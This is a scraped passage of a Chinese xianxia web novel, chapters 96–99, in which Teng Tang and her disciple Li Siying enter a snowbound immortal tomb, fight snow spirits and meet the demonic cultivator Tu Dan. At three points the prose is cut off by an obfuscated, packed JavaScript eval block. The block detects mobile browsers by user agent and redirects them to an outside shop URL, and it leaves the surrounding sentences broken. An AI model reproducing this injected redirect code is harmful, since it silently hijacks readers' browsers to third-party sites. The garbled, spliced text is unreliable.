她点头答应,随后朝李偲缨瞥了一眼,祁长兰不愿意说李偲缨,她要说:“你也安静点,不要跟他吵,跟他吵没有意义,只会让自己变得更生气。” 李偲缨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032754|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 委屈地“嗯”了一声,嘴巴还是合不上,嘀嘀咕咕地抱怨:“师父怎么收这种妖兽当灵宠,这世间灵兽千千万万……” 祁长兰脸色有些难看,不理解李偲缨看上滕棠哪一点,就因为滕棠五灵根筑基成功并且结丹了?但废柴之资摆在这儿,无论如何努力,始终没机会成为大能、飞升天界,天才怎么能拜这样的人为师呢? 她依旧怀疑滕棠用了什么魔族术法,或者鬼煞的摄魂法,诱骗李偲缨当徒弟。平时的李偲缨何其高傲,和谁都不愿多谈,待在滕棠身边却异常聒噪活泼,让飞舟上的人目怔口呆。 “偲缨,你过来,我有话同你说。”祁长兰对李偲缨和蔼笑道。 李偲缨停止抱怨,转头问她:“什么话?” “阴鸣山仙墓的事。”祁长兰往飞舟端头走,两步一回头。 “不是聊过了吗?我知道的也不多。” 李偲缨本来不想去的,但看到师父在对自己使眼色,向来听师父话的她,不得不跟上祁长兰:“知道了,我这就来,二长老还有什么想问的?” 祁长兰有心分开李偲缨和滕棠,让李偲缨更黏自己一些,于是拉着李偲缨在舟头大聊特聊。 她的此举,让滕棠颇为感动。 滕棠无奈的表情终于改变,开始发自内心地微笑,暗想这下清净了,但愿李偲缨多烦烦祁长兰,别聊两句就跑回来,缠着她说各种没营养的话。 背过身去,滕棠没有选择打坐,而是一边化魔气为灵气,引灵入体淬炼筋骨,慢慢修行,一边观察着阴鸣山的环境,思考那些灰云为何都往仙墓方向跑。 照理来说,仙墓是即将飞升之人陨落后形成的墓穴,开启时的景象应该比不上珊瑚秘境。珊瑚秘境乃上古仙器所造的一方世界,远比死人墓穴巨大、厉害,能够搅动狂海大量海水,已然可怖,可这阴鸣山的仙墓有些古怪…… 珊瑚秘境开启都没引发天地异象,远处的仙墓却造起了势,不仅导致局部环境改变,还让这片天地发生了异动。 滕棠在飞舟角落待了没多久,就听见系统的邮件声,提醒自己[雄霸天下]的奖励到了。 她中断思索,去游戏界面领取所有奖励。 身侧突然传来简英纵兴奋的声音:“我们到了!” 滕棠退出游戏界面,发现二长老在操纵灵舟落向一座黑压压的山,连忙稳住身形,防止掉落下去出个大糗。 飞舟待在空中还好,大家能看清彼此,等到降入厚重的黑雾之中,视野就不清晰了。 “好黑啊,比上次还黑。”李偲缨飞回滕棠身边,抓着滕棠的手腕道:“师父,我们可不能走散了,上次我拉衣袖没拉住,就和狂刀门的弟子走散了。” “嗯好,你跟紧我。”滕棠的眼睛也被黑雾蒙住了,唯有开启灵眼,才能看清下方的情形。 她惊讶发现,棕黑色的浓雾之中,不仅有虬根盘结的密集林木,还有穿着不同服饰的修者,其中大部分人都穿着无涯宗的白衣。 白衣在黑暗中很打眼,被冷风刮得袖摆飘动,让滕棠想起自己前世看过的鬼片,以及李偲缨给自己与李偲易布置的灵堂。 她在冷风中打了个寒颤,不明白这些人怎么一动不动,全都背着自己,集体盯着一个方向。 双足踩到巨大的树根,窈冥的森林让狂刀门的弟子非常不安。他们一行人之中,只有两人来过阴鸣山仙墓,一位是二长老祁长兰,一位是天才师姐李偲缨,其余人都没来过阴鸣山仙墓。 “嘘,此处不可喧哗,易招来邪祟。你们开启灵目,朝我靠近,彼此拉着衣袖,不许松手。”祁长兰对众人传音道。 96. 第 96 章 [雪域闯关] 祁长兰的五名徒弟反应最快,他们一直待在师父身旁,当祁长兰发话时,立刻有所行动,摸索着身边的师兄师弟,拉起彼此的衣袖。 简英纵身为大长老的徒弟,站在中间,不免有些尴尬。 他打开灵眼,朝左伸手,左边的弟子正望着二长老没有看他,且离他的距离有些远;他向右边伸手,李偲缨师姐虽然离他很近,但是一直黏着滕师姐,亦不往他这边看。他身为男修,总不可能主动去牵李师姐的衣袖,那样的举动对冷若冰霜的李师姐来说,有些冒犯。 灰暗无光的森林死寂得只剩风声,偶尔响起悠长的玎音,虚幻而凄冽,仿佛有头大妖在林中哭泣。 简英纵不敢声张,尴尬半晌,只好试着传音,让两边的人搭理一下自身。 李偲缨额前飞来一道秘音。她下意识地想挥散这道陌生的传音,却在调动精神力时,被师父一捏。 她顺着师父的视线看去,这才注意到左边的简英纵。 李偲缨接纳下那道传音,听完撅起嘴,不情不愿地走过去,轻轻拉起简英纵的衣袖,暗忖此次仙墓之行,狂刀门的人不一定要一起行动。她有师父就够了,寻到宝贝,以师父老实人的秉性,自会上交一件给门派。 她之前是想着人多力量大,一起寻宝更为稳妥,但二长老刚才拉着她说的那些话,让她很不开心。她师父才不是骗子,二长老若一直针对师父,她还不如跟师父一起分开行动。 “我们来得正好,仙墓入口开启了。”祁长兰见大家各自拉好,再次对八人传音道。 她的声音刚在几人识海里结束,前面深山之中,突然亮起黑蓝色的光。光圈越来越大,大到五百米外的他们都能看见。 灰蓝色的光圈很快变成巨大的漩涡,将周围浓郁的魔气吸入进去。 天空中的云层再次发生变化,不再呈漩涡状,而是类似倒锥形的龙卷风。 森林中的冷风越刮越大,却没有吹散半分棕黑色的雾,众人的视野依旧黑暗。长长的诡异锐鸣不断在耳边爆响,听着凄凉无比,宛如硬指甲划过光滑坚硬的墙壁。 狂刀门的人来得晚,站在最外围。他们前面的修者密密麻麻,站了一圈又一圈。 深蓝色的漩涡出现之后,那些修者不再呆立不动,他们结束修行,踩着崎岖不平的树根,朝风暴中心飞去。有些是散修,单独行动,大部分是门派弟子,彼此拉着手,一起落入漩涡之中。 没多久,前面的修者都消失了,看不见一个被风吹动的白衣。 环境黑压压的,压抑而沉闷。祁长兰对八人传音道:“走!” 一排人当即点足,像前面那些修者一样,飞向寒冰流涡之中,转眼没了身影。 视野一晃,九个人出现在一片白茫茫的冰雪世界之中。 滕棠眯着眼睛望向天空,被光芒刺得双目作疼。她发现仙墓中的天空和明月八角塔内的天空相似,没有日月星辰,纯白色一片,宛如一张会发光的白纸。 她动了动脚,立刻听见窸窸窣窣的声响。 不管是周围还是远方,都铺着一层厚厚的雪,雪中埋着或大或小的冰块,除此之外,再无其他之物,这里没有生灵活动的迹象。 “好冷……”滕棠搓了搓胳膊,甩动左手,想让李偲缨放开她。 李偲缨握着她,手掌如同冰坨子,冻在她的左手腕上,让她五指僵硬,连灵力都难以调动。 不仅她冷得不行,二长老和其他六名弟子也吃不消,纷纷从储物戒中拿出厚实的衣物或具有火属性的披肩,穿戴在身上。 在场九人,唯李偲缨不觉得冷:“哪里冷了?” 她松开师父的手腕,蓦地弯腰捧起一堆雪,往天空泼洒:“我喜欢这个地方,这真是个好地方!” 滕棠和其他人看着她手上沾着的冰晶白雪,皆忍不住打了个冷噤。 嘶——,他们要是有至寒神体该多好,那样就不用惧怕此地的严寒了,那些冰雪会亲近他们而不是加害他们。 仙墓里的雪和外面的很不一样,没有那么细碎,总是黏附成块,阴寒无比,不间断地吸走他们身上的温度,甚至是灵力。而这里面,灵气、魔气皆很稀薄,修者若一直被吸走丹田灵力,不努力引灵入体,最后恐怕会变得虚弱无比。 本来分散站着的九个人,此时有七个人渐渐聚在一起,只剩滕棠和李偲缨单独立在外边,一个不停搓胳膊、牙齿打颤,一个在雪地中欢呼、自娱自乐。 没一会儿,李偲缨察觉到腰间的传音石在抖动。像是猜到什么,她露出明媚的笑容。 拍干净手上冰冷的雪,她将传音石贴在额头上,听完后兴奋地跑到滕棠跟前,小声道:“师父,屠丹回我话了,他问师父您在哪儿。我就说嘛,他对师父仰慕已久,一定会来见见天上仙人的风采,用寻宝图同您交换仙丹。” “见我?”滕棠一愣,觉得这屠丹有些不聪明,竟然真信了李偲缨的话,这世上哪有神仙下凡的传闻? 不,也许屠丹不信有仙人下凡,只是爱慕李偲缨,怕她所谓的师父是个图谋不轨的坏人,于是来探探底细。 滕棠沉默……屠丹知晓他的生死契是自己结下的么?要是见到,感应到生死契的联系,肯定会当场黑脸吧。 望着李偲缨欣喜而期盼的脸,滕棠坚定地摇头道:“我说过了,你与他约个地方单独相见。我不认识此人,并不想见他。至于寻宝图……我们应该用不着。” 滕棠原地发了会儿呆,从她进入仙墓开始,新活动便开启了。 打开右上角的地图,果然如她所料,上面标记了十个关卡的位置。 这么一看,她们根本不需要向屠丹购买寻宝图,只需跟着自动寻路的光标前往关卡地点,闯关成功,就能拿到仙墓中的重宝。 滕棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这[雪域闯关]活动真是来得及时,宛如雪中送炭,若把十个关卡都打通,天材地宝全都卖了,她能获得多少灵石? 感受到身体正在被人摇晃,滕棠准备离开游戏界面,却在要退出去的时候,瞟到左边剧情任务栏有个小红点。 她稍稍观了一眼外边,发现是李偲缨在甩她的手臂,于是没有完全退出去,先点开主线剧情任务,快速扫了一眼。 在她踏入阴鸣山仙墓时,主线剧情任务便出现了一段新的文字,当时的叮声被凄厉的鸣叫盖过,让她遗漏掉主线剧情的变化:[进入仙墓后,你跟着门派的人行动。一盏茶时间过去,你们遇到了一只守护九珠雪糁的雪灵。▽] 末尾依旧没有倒计时,说明她仍处于前置剧情中,还没触发真正的任务。 滕棠退出界面,眼前出现一张巨大的冰山美人脸。 李偲缨一边摇晃她的手臂,一边在她脸前挥舞雪白的手掌:“师父?师父?您怎么又变傻了?” 97. 第 97 章 “我没事,只是发了会儿呆。”滕棠说话时,牙齿不停打颤。 她发现身后的七人,已经跑到她前头去了,离她约莫百米远。前方茫茫雪地上出现了一串深陷的脚印,祁长兰没有等她,或者说根本就没在意过她,头也不回地带着六个弟子前行,步伐艰难地往北走。 “珊瑚秘境之后,师父的神魂是不是出了问题?”李偲缨在旁边担忧地问,头发与眉梢都凝了冰晶的雪花。 她在这雪地中,不仅没有感到不适,反而被雪域的极寒激发到神体,修为隐隐有突破的迹象。若她在这里面待得足够久,兴许能让至寒神体完全觉醒。 “无事,我刚刚只是在想问题,我们快跟上他们,别走丢了。”滕棠摇摇头,调出灵力储存条中的灵力,聚拢在双足上,同李偲缨快步追赶前方的七人。 她的主线任务可是写着,要跟着门派的人,直到一盏茶时间后,遇到第一个难关。 李偲缨脸上的担忧之色并没有出现多久,不知她脑补了什么,神情一下子豁然开朗。 她一点不费力地跟在滕棠后方,双脚踩在雪地上,那些冰雪并不缠着她,反而畏畏缩缩地凝成硬块,让她走得更稳健。 李偲缨在滕棠身边嘀咕:“也是,师父不可能有事,三天三夜的紫雷都打不死师父,师父还能有什么事。” 片刻之后,她们追上祁长兰等人。 祁长兰转头看了滕棠一眼,表情很是不耐烦:“我是答应了大长老,要将你们完整带回去,可没说完整到什么程度,要是带一具完整的尸体回去,也不算违背誓言。你们如不跟紧我,不听我的号令,在这仙墓中闯出祸端,可别怪我不出手相救。” 滕棠知道她这话是说给自己听的,因此没有出声,心下默默计数,现在大约过去了一分钟,还有十四分钟就会遇到雪灵,触发后面的主线剧情。 走着走着,几名弟子冷得不行,其中一人受不住,气喘吁吁地出声询问:“师父,我们为何不坐飞舟?” 不待祁长兰给自己的徒弟解释,李偲缨就抢先道:“你来之前,没有了解过这座仙墓吗?奇怪,阴鸣山仙墓开启了两次,按理说,这里的一切,修者都该有所耳闻,你……” 祁长兰很清楚李偲缨的说话风格,在那名弟子面红耳赤时,她三言两语解释道:“我们脚下有个很大的阵法,若御行空中,墓中的冰雪会化作无数雪灵鹰,飞来攻击我们,时间越长越危险,等到所有冰雪变成雪灵鹰,渡劫大能也抗不住。” 滕棠跟那名弟子一样,听得汗颜,异常钦佩能布下这样阵法的修者。只是不知此处故去之人是谁?是因何离世的?飞升失败亦或大限已至? 仔细回想,她好像没听李偲缨提过这是谁的仙墓,想来对方也不知道,不然定会说上三个时辰。 由于分了神,滕棠计算时间失败,对现在过去了多久心里很没数。 不知道就不知道吧,反正到时间了,雪灵肯定会出来。她这么想着,没有打开地图看自己的路径,也没有估量大家走了多久。 又走了长长一段路,滕棠觉得有些不对劲,这么久了,怎么也有一盏茶的时间了吧? “徒弟。”她小声喊着李偲缨,问这冰天雪地里唯一兴高采烈之人:“我们走了多久?” 李偲缨身体表面的冰雪变多了,她依然不觉得冷,神采奕奕地回答道:“没多久,我们走了约莫一炷香的时间。” 那我没感觉错……滕棠扫视四周,面露疑惑,主线剧情所说的雪灵在哪里? 她左顾右盼,眼睛快被这片茫茫雪地刺瞎,仍未看到异动之处。 视线之中,前面的二长老和六个弟子步履维艰,洁白的雪花在长靴旁飞溅,大家在雪地上留下一个又一个深陷的脚印,走了至少四千米,都没有寻到灵宝的波动与痕迹。 天地一直静谧得不正常,耳朵里除了大家窸窸窣窣的行走声,没有半点风声或者其他动静。 滕棠忍不住打开游戏界面,查看左边的剧情任务栏,忽然发现主线剧情早就有了变化,此刻末尾处显示着四个字——[正在进行]。 她没找到其他提示,只好带着疑惑,继续跟着二长老他们走。 艰难拖着双足行走,又过了半盏茶的时间,四周终于有了异变。 安静的雪地倏然刮起刺骨寒风,飕飕或翛翛地吹,翻动地上的冰雪,疯狂拍打着几人的身躯与面部。 滕棠恍惚听到前面人在说话,可惜一个字都没听清。 他们周围的刮起的暴风雪异常可怖,不是把人吹起来,而是把人埋入冰雪之中,身体与肌肤遭受着冰块与雪团的拍打,丹田灵力被大量吸收走。在场九人,除了李偲缨能够活动、不受暴风雪的影响,其余人皆冻僵在原地,动一根手指都很艰难。 仅是须臾的时间,七人就遭冰雪埋住。 若不是李偲缨拽着滕棠往上拖,滕棠也会跟着埋入雪地里。 冷…… 滕棠的身体几乎冻成冰雕,不得不调用系统存储的所有灵力,将身上的冰雪化去。 她感觉自己能动了,连忙把[绯烈焰]套装穿在身上,嘴里念着熟悉的台词,开启技能[昼焰焚火]之后,才稍微觉得暖和一点。 暴风刮得越来越厉害,李偲缨牢牢抓住她,冰冷的手比周围的温度还低:“师父印咕叭啊……” 寒风与冰雪喧嚣,李偲缨说的话,滕棠根本听不清楚,只想甩开她的手。 她徒弟的手太冷了,滕棠被李偲缨抓住的那处手臂已经冻得没有知觉,调动灵力也没用。 陡然之间,滕棠的瞳孔微缩,在暴风雪中看到一个巨大、模糊的标识,具体等级看不清,但是字体比当初的付岚山还大。 滕棠一阵警惕,用手臂挡住风雪,把储存条刚回复的灵力全部调用出来,浑身戒备。她现在想逃也没办法逃,视线不清,暴风雪太强,这只雪灵看起来很厉害的样子…… 或许可以装作被吹倒,同祁长兰他们一起,被埋入雪地之中? 在滕棠思考的时候,狂风遽然增强,席卷过来,将她和李偲缨吹散。 滕棠在空中翻来飞去,视线在某一刻集中于那巨大的标识上,误点了旁边的小三角,隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032756|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐约约扫到[守墓旗]三个字。 她仍不知道雪灵的等级,以及雪灵的独特之处,只能通过[守墓旗]三字猜想,这雪灵恐怕不是活物,而是墓主用阵法、冰雪和狂风造出来的杀术。 她被暴风雪吹得很远,片刻之后,她撞到一个物体,坚硬但温暖。 滕棠的身体被什么箍住,而后翻转过来,双足终于接触到地面。 一声咔嚓轻响之后,她震惊地发现,四周的风雪没了,自己被一个高大的男子抱在怀里。 她眼前是无涯宗的白衣,视线往上,对方领口绣的是一把金灿灿的火锤,这是无涯宗的人,亦是九炼宗的人。 喀——,滕棠想抬头道谢,头顶却磕到对方的下巴。 “抱歉。”她忙低下头,接着道了一声谢:“多谢相救。” 往下瞧,搂在她腰间的手修长有力,骨节分明的手指抓着一件圆形器物。这件灵器看起来品阶不低,正释放着金色的光芒,往外扩成光罩,将狂风暴雪阻挡在外面。 “幸而这只雪灵不强。” 头顶吹拂过一阵热气,略过滕棠的耳畔,让她觉得有些痒。 她呆愣了会儿,觉得这声音很像岑羽,又有点像云令。可惜当初在明月八角塔中,她没能和这两位伙伴多聊几句,对他们的声音已经记不太清了,觉得头上的声音熟悉,但要让她具体说语调、音色方面哪里像岑羽和云令,她又说不上来。 她身体往后倾倒,靠在对方的手臂上,小心仰起头。 入目一张惊为天人的脸,说是仙君下凡,都不为过。对方气质清高,眼形却跟蝴蝶似的,眼睛大而深邃,眼尾往上翘,注视滕棠时还带着笑意,让滕棠立刻想到四个字——柔情蜜意。 她双颊立刻就红了,任谁被一个美仙男呵护在怀,冁然而笑地盯着,都难维持心跳。 滕棠自认对男色很有定力,但这次不知怎么了,竟被美色迷了眼,一时之间,竟忘记从对方怀抱里离开。 她知道,将人作比较或者说谁像谁很不礼貌,但发呆地盯着上方俊美无俦的脸瞧,她不由自主地想起醉星子……明明此人的相貌和醉星子相差极大,一个偏阴柔,一个偏俊朗。 “你癫……”岑云岭看她这幅呆傻的模样,以为她癫症又犯了。 “啊嚏~!” 一声响亮的喷嚏,冲着他清高绝美的脸完整呼出,还有几点透明的液体沾在他优越的鼻子上。 “我……对不起,我不是故意的……”打完喷嚏的滕棠,表情更呆更傻了。 岑云岭收敛笑意,有些看不懂滕棠。珊瑚秘境之中,他以为醉星子那具分-身之所以会被滕棠强扑强亲,是因为醉星子的长相好看,他虽对此女注重外貌这点颇为鄙夷,却还是将其他分-身变幻了容貌,个个一表非凡。 未料这具分-身找到滕棠,获得的只是一个喷嚏以及几点清透的鼻涕。 难道说,滕棠只喜欢醉星子那种相貌的?她并不是注重外貌之人?岑云岭的思绪不知不觉飘远。 两人各想各的,都忘了他们还保持着一个暧昧的姿势。 98. 第 98 章 滕棠慌忙扯下袖子,在俊美男修的脸上胡乱擦拭:“抱歉,真的抱歉……实在是太冷了,我不是有意的。” 她忘了自己还穿着[绯烈焰]套装,袖子上的火焰温度极高,甲片锋利明锐,这一擦,直接刮红了男修挺括的鼻梁。 “别擦了,有点疼。”岑云岭抓住她的手,两人的脸离得异常近。姿势暧昧,他说的话却不暧昧:“若非我的肌肤坚如磐石,定会被你擦得毁容。” 幸而他本体是不死魔龙,鳞皮坚硬,换作其他人,早就面目全非了。 男修松开手臂,滕棠立马退了两米远,鼻腔呼出急促的白气,接连道歉:“抱歉,抱歉……” 金色的光罩牢牢笼住二人,让暴风雪无法侵入进来。[绯烈焰]的大招[昼焰焚火]还没结束,滕棠脚边的冰雪被白色火焰烤得融化,不一会儿便化成一滩水。 她怕自己陷下去,不停左右移动,让那些化成水的冰雪恢复原状。 “无事。”岑云岭抬起左手,掐了一个繁复的手诀,身上无涯宗的白衣转瞬变成黑绸。 他整个人的气质为之一变,不再仙气飘飘恍如仙君下凡,而是鬼魅邪异,衣摆偶然冒出的黑烟令人栗栗危惧。 滕棠好奇地看向他的头顶,发现他有[49级]。这个等级有点眼熟,她忐忑地点开旁边的小三角,而后看到:[屠丹,49级,魔修,天赋技能:无。] 她整个人一愣,不仅是因为对方的信息太过简陋,跟当初她看岑羽的一样,更因为这人竟是李偲缨时不时挂在嘴边的道友——屠丹! “你是来找李偲缨的吧……”滕棠不自然地看向外面的暴风雪。 她相信,对面的男子已经感受到生死契的存在,只是不知道她是谁。 “不,我是来找你的,滕棠。”屠丹脸上挂着笑容说。 滕棠听得心惊,暗忖李偲缨是不是用影灵石记录过自己的长相,然后给屠丹看过,不然屠丹怎么会认识自己? 这个可能性很大,之前她踏入狂刀门主峰的修行院,看到李偲缨布置的诡异灵堂,长桌中间可不就摆着自己的灵像…… 付岚山大多数时候盘在滕棠的五色灵根上,如同寄生虫一般吸收着滕棠的灵力,此时非常没有眼见力,忽然钻出圆圆的头来,笑眯了眼睛:“滕棠,你被英雄救美了,难能可见啊!” 他晃动蛇头,上下打量对面俊美的男子,总觉得此人身上的气息有些熟悉,对方偶然不经意露出的魔气,令他感到畏惧。 “……”滕棠满脸写着尴尬,疯狂把付岚山按回去,将其锁在丹田里,不让他出来。 所幸付岚山是地蛟蛇,屠丹是人,他们语言不通,不管付岚山说什么,都是“嘶嘶嘶”的蛇鸣,屠丹没有主兽符契,听不懂。 然而对面的不死魔龙,字字都听清楚了,只是面上没什么表情。 岑云岭暗中松开背后的手,方才那一瞬间,他很想把这条无用的地蛟蛇捏住,移出滕棠的丹田。他当初为滕棠收服这条地蛟蛇,看中的是它的实力,谁曾想,如此不中用,早早丢了本体,变成滕棠的累赘…… 也罢,滕棠愿意养它,就当个有趣的玩意儿,平时逗逗乐。 他手持金色圆球,抬头看了眼外面狂躁的风雪,慢慢往左手方向行走,周身的清冷完全不逊色于李偲缨,与这方天地极为融洽。 滕棠越看越觉得他和李偲缨般配,一时不知该说些什么,对方肯定已经发现生死契是自己结的,但……为何不问? 她跟在屠丹身后,朝着不知名方向走去。 过了一会儿,前面突然响起清冷的声音:“你门派那些人不会有事。” 他的语气很肯定,仿佛已经找到狂刀门的人,并且知晓他们安然无恙。 “可这么大的风雪……”滕棠说到中途,闭上了嘴,心想既然对方如此确定,必然有什么了不得的灵器或者仙器,可以探测附近活人的存在。 李偲缨有至寒神体,定然没事,狂刀门其余七人,竟然也能抗住这么大的暴风雪? 她刚要发呆,去游戏界面打开地图,查看自己的位置,忽而听到屠丹说:“你把杀浮召唤过来。” 滕棠停止自己的想法,唰地抬头,瞪大眼睛,不可思议地问面前高大的背影:“你认识杀浮?!” 屠丹顿了一下,沉默半晌才道:“他是我友人,很久之前进入阴鸣山仙墓,进来后一直被困在这里面。” “哦,原来如此……”滕棠脑中闪过很多想法,非常想问,杀浮是什么时候进入仙墓的?什么时候被困的?上次是仙墓第二次开启,屠丹进来和杀浮交流过?所以认识自己? 屠丹来找自己的目的是什么呢?为了解除生死契,还是想帮李偲缨看看自己这个师父是否心怀不轨?亦或只是为了让自己召唤杀浮,将友人救出来? 滕棠心中疑问甚多,但是她一个都没问出来,只因当下情况紧急,不适合问这问那的。 在屠丹提出要求后,她立马在背包中点击使用[强制召唤卡],将杀浮召唤至身边。心想,反正这二人都是系统给她绑定的伙伴,无论如何都伤害不到她。 在滕棠使用召唤卡时,屠丹转过身,似也有话问她,只是刚开口几个字,杀浮那具分-身便出现在滕棠一米范围内。 “你这十年……”他很想问,滕棠在那三日雷劫之后,去了哪儿,经历了什么,为何十年来从未召唤过自己。 “咦,你有一盏茶的时间。”滕棠讶异地对杀浮说。 她惊奇地发现,杀浮的召唤时间变长了。以前明明只能召唤一分钟,现在竟延伸到一盏茶之久……看来,召唤时长不仅跟被召唤者实力挂钩,还跟自己与伙伴的距离有关系,毕竟依屠丹所说,杀浮就困在这仙墓之中,距离明月大陆天遥地远。 杀浮的实力不知为何,毫无长进,依旧是出窍六层。 他相貌方正,一身大侠的气势,手持魔气森森的剑,甫一现身,便走出光幕,在暴风雪中没了影子。 滕棠抬臂挡住一阵强风,等袖子垂直落下,风停了,她才放下手臂。往前看去,已无杀浮的身影,只有金色的光罩和狂躁的冰雪。 “我出去帮他。”屠丹在她身旁丢下一句。 她扭头看去,屠丹也消失在暴风雪中,眨眼看不到一点轮廓与影子。 离她一米远的位置,地上躺着颗金色圆球,正释放耀眼的光芒,撑开光幕替她抵挡外面的风雪。 “你们、你们这是……”滕棠眼里只剩金光与快速略过的冰雪,寻不到一点绿色标识。 她站在光罩之中,孤零零一个人,走也不是,留也不是。 杀浮要去做什么?屠丹去帮什么? 在她沉思之际,游戏系统跳出一连串消息。 [完成十二仙器·一] [奖励500上品灵石、基础数……] [恭喜玩家升至34级!] [获得升级奖……] …… [触发支线任务] 任务一这样就完成了?不需要打败雪灵吗? 领到奖励的那一刻,滕棠是懵的。 她怀疑热血岁月出了b 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就算她为了拿奖励,稀里糊涂地去做任务,也得有线索才行。那二人的身份,她什么都不了解,从何查起? 杀浮她召唤过两次,只知名字与长相,其他完全不知,而她对屠丹的了解,全来自李偲缨的讲述,此人是九炼宗的核心弟子,擅长炼器、单金灵根、天赋卓绝。 这二人是怎么结为友人的她都不知晓,一个魔修,另一个……不对,她刚才看屠丹的个人信息,屠丹是魔修?! 滕棠瞳孔一缩,似是发现什么了不得的秘密。李偲缨可是三番五次地夸屠丹,说他单金灵根的天资远胜其他单灵根天才,是年轻灵修中的翘楚。 而她读到的个人信息,屠丹分明是魔修…… 魔修通常来自北边的冥无大陆,与天央大陆的灵修总有摩擦与纠纷,两边水火不容。屠丹既然是魔修,很有可能是冥无大陆安插在天央大陆的底细,然后杀浮是线人,负责传递这边的重大消息…… 滕棠越想越深,真的如剧情任务所写,对屠丹方才说的话半信半疑。她开始好奇这二人的身份,好奇他们来天央大陆的目的。 她对魔修并不反感,尤其是杀浮,此人救过她性命。 她并不打算把自己的发现与心中所想告诉其他修者,决定暗中调查这两个魔修,看看他们在这仙墓里究竟想要做什么。 若他们是为了寻宝,那还好,自己能提供帮助,顺便报答杀浮对她的恩情;若二人想害无辜的灵修,她一定要试着劝说,反正伙伴无法对自己造成伤害。 滕棠思索一番之后,将注意力放在主线任务下方的红点上,发现许久没有动静的[支线任务]一下子增添了两条。 [支线任务·屠丹:前往阴鸣山仙墓东南方位,打败第七关雪灵,找到一个四四方方的小盒子,把它交给屠丹。‘前往’] [支线任务·杀浮:前往阴鸣山仙墓正中位置,打败第十关雪灵,找到一根藏青色的绳子,把它交给杀浮。‘前往’] 滕棠以前完成过李偲缨的和厉秋的支线任务,奖励都是300上品灵石、一张×1.2的基础数值翻倍卡和少许经验值,相对于主线任务来说有些简陋。 可杀浮和屠丹的支线任务,奖励却不一样,500上品灵石外加×1.5的翻倍卡,几乎和主线任务的奖励相当,只是经验值加得少一些。 奖励给这么好,任务肯定很难……滕棠打开右上角的地图,发现第七关、第十关距离她很遥远。 99. 第 99 章 “有人吗?杀浮?屠丹?”滕棠捡起地上的金色圆球,朝外面喊了三声。 咻咻飕飕——,回答她的是狂乱的冷风,以及拍打在光幕上的碎雪。 如此嘈杂的环境,即使那二人离她很近,也不可能听得清她的声音。 她站在光幕之中,无奈之下,逆着风朝杀浮消失的方向行去。 脚下的雪仿佛一床被弹过的棉花,被风吹得很松。滕棠每踏一步,半边身子都陷了下去。 费力地走了几步路,她觉得这样不行,速度太过缓慢,于是御起五米长的大刀,向风的来源处靠拢。 她御行的行为,像是触发某种机关。 地面的雪花与冰棱凑聚,粘合成一只只雪鹰。冰锥插在雪鹰头部雪球中,成为它们尖锐的长喙;薄薄的冰片叠作羽翅,平坦张开,边缘可轻易划破人血肉。 扑扑——,雪灵鹰扇动冰蓝色的翅膀,借着狂风的势,急速朝滕棠啄来。 若不是风中有大量的寒雪,阻碍了它们翱翔,雪灵鹰此时的数量恐怕已经上千了。 耳边尽是风雪呼啸的声音,滕棠双臂抬起,奋力挥舞大刀抵御雪灵鹰的攻击。她万分庆幸自己的[绯烈焰]套装拥有极高的温度,与这片冰寒之地相克。每当雪灵鹰靠近她时,总会被她身上的白色火焰融化大半,轻鸣一声,化作一小滩水,很快裹挟进狂躁的风雪之中,变成新的雪块。 但随着时间的推移,雪灵鹰的数量在不断增加,[绯烈焰]套装上的白色焰火开始变弱。 滕棠周围大约有两百只雪灵鹰,根根尖锐的冰喙将她装备的耐磨度啄得快见底,消耗灵石恢复耐磨度的速度渐渐追不上耐磨度掉落的速度。如此下去,不出一盏茶的时间,她就会败给这场暴风雪和这群雪灵鹰。 滕棠不得不接连开启其他套装的大招,将五色灵力覆盖在腰间的两把弯刀上,使副武器盘旋于身后及两侧,将大刀来不及抵挡的雪灵鹰击碎。 [击杀低级雪灵鹰,经验值+111……] [掉落物品…… 艰难地御行了约莫五百米,风雪突然弱下一大半,滕棠眼尖地看见前方[49级]和[46级]两个标识。 那二人,肯定是屠丹与杀浮。 暴风雪变弱后,围攻她的雪灵鹰数量转瞬增多,疯了般朝她袭来。 滕棠立马停止御行,收回长刀,降落到疏松的雪地中。 这座仙墓的阵法很奇妙,当她的双脚接触雪地之时,周围的雪灵鹰立马“噗嚓”一声,裂成了细碎的冰雪,被大风吹走,再也看不见一只蓝白色的雪灵鹰。 她顶着变弱的风雪,勉强看清前面两人,一点点向他们靠近。 杀浮和屠丹正对抗着一个灰色的风口,一人用黑色的魔剑,另一人用着杂七杂八的灵器,两人合力将风口压得愈来愈小。 这个风口正是她之前晃眼看过的雪灵,那个拥有巨大等级标识、比付岚山本体标识还要大一些的雪灵。 这次她瞧清晰了,雪灵只有[49级],出窍九层的实力,并没有她想象中那么可怕、强大,只是在大阵的帮助下,利用上了这片天地,为自己虚张声势。 风雪太过凌乱,屠丹身上的各种灵器不断碰撞,发出叮叮铛铛的声响。 嘈杂的风声、雪声变弱之后,这样的灵器撞击音,听起来竟有几分悦耳。 